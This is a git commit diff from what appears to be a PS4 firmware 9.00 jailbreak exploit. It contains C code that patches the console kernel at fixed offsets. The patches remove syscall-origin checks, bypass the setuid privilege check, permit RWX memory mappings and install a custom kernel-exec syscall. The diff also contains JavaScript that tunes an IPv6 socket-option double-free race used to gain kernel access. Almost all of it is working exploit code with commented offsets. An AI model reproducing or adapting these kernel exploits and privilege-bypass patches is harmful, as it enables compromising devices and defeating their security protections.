performance fix on make_aliased_pktopts by ABC

This commit is contained in:
Kameleon
2025-06-01 11:48:19 -06:00
parent db82dfa72c
commit 84e8ccc3fb
4 changed files with 135 additions and 55 deletions
+129 -49
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@@ -15,6 +15,8 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
#include <stddef.h>
#include "types.h"
@@ -53,55 +55,133 @@ void restore(struct kexec_args *uap) {
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1C0;
void * const kbase = (void *)rdmsr(0xC0000082) - off_fast_syscall;
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
//ChendoChap Patches For 900
const size_t KERNEL_enable_syscalls_1 = 0x490;
const size_t KERNEL_enable_syscalls_2 = 0x4B5;
const size_t KERNEL_enable_syscalls_3 = 0x4B9;
const size_t KERNEL_enable_syscalls_4 = 0x4C2;
const size_t KERNEL_mprotect = 0x80B8D;
const size_t KERNEL_prx = 0x23AEC4;
const size_t KERNEL_mmap_1 = 0x16632A;
const size_t KERNEL_mmap_2 = 0x16632D;
const size_t KERNEL_dlsym_1 = 0x23B67F;
const size_t KERNEL_dlsym_2 = 0x221b40;
const size_t KERNEL_setuid = 0x1A06;
const size_t KERNEL_bzero = 0x2713FD;
const size_t KERNEL_pagezero = 0x271441;
const size_t KERNEL_memcpy = 0x2714BD;
const size_t KERNEL_pagecopy = 0x271501;
const size_t KERNEL_copyin = 0x2716AD;
const size_t KERNEL_copyinstr = 0x271B5D;
const size_t KERNEL_copystr = 0x271C2D;
const size_t KERNEL_veriPatch = 0x626874;
const size_t KERNEL_setcr0_patch = 0x3ade3B;
write32(kbase, KERNEL_enable_syscalls_1, 0);
write16(kbase, KERNEL_enable_syscalls_2, 0x9090);
write16(kbase, KERNEL_enable_syscalls_3, 0x9090);
write8(kbase, KERNEL_enable_syscalls_4, 0xEB);
write8(kbase, KERNEL_mmap_1, 0x37);
write8(kbase, KERNEL_mmap_2, 0x37);
write32(kbase, KERNEL_mprotect, 0);
write8(kbase, KERNEL_dlsym_1, 0xEB);
write32(kbase, KERNEL_dlsym_2, 0xC3C03148);
write8(kbase, KERNEL_setuid, 0xEB);
write16(kbase, KERNEL_prx, 0xE990);
write8(kbase, KERNEL_bzero, 0xEB);
write8(kbase, KERNEL_pagezero, 0xEB);
write8(kbase, KERNEL_memcpy, 0xEB);
write8(kbase, KERNEL_pagecopy, 0xEB);
write8(kbase, KERNEL_copyin, 0xEB);
write8(kbase, KERNEL_copyinstr, 0xEB);
write8(kbase, KERNEL_copystr, 0xEB);
write16(kbase, KERNEL_veriPatch, 0x9090);
write32(kbase, KERNEL_setcr0_patch, 0xC3C7220F);
const size_t offset_sysent_11 = 0x1100520;
write32(kbase, offset_sysent_11, 2);
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
write32(kbase, offset_sysent_11 + 0x2c, 1);
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
// Initial patches
write16(kbase, 0x626874, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x2713fd, 0xeb); // bzero
write8(kbase, 0x271441, 0xeb); // pagezero
write8(kbase, 0x2714bd, 0xeb); // memcpy
write8(kbase, 0x271501, 0xeb); // pagecopy
write8(kbase, 0x2716ad, 0xeb); // copyin
write8(kbase, 0x271b5d, 0xeb); // copyinstr
write8(kbase, 0x271c2d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write8(kbase, 0x4c2, 0xeb);
write16(kbase, 0x4b9, 0x9090);
write16(kbase, 0x4b5, 0x9090);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// TODO: Description of this patch. "prx"
write16(kbase, 0x23aec4, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b67f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// .sy_narg = 2
write32(kbase, 0x1100520, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, 0x1100520 + 0x2c, 1);
enable_cr0_wp();
}
}
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+6 -6
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@@ -133,7 +133,7 @@ const main_core = 7;
const num_grooms = 0x200;
const num_handles = 0x100;
const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
const num_alias = 10;
const num_alias = 100;
const num_races = 100;
const leak_len = 16;
const num_leaks = 5;
@@ -954,10 +954,13 @@ function leak_kernel_addrs(sd_pair) {
}
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
function make_aliased_pktopts(sds) {
const tclass = new Word();
for (let loop = 0; loop < num_alias; loop++) {
for (let i = 0; i < num_sds; i++) {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
}
for (let i = 0; i < num_sds; i++) {
tclass[0] = i;
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
@@ -983,14 +986,11 @@ function make_aliased_pktopts(sds) {
return pair;
}
}
for (let i = 0; i < num_sds; i++) {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
}
}
die('failed to make aliased pktopts');
}
function double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
) {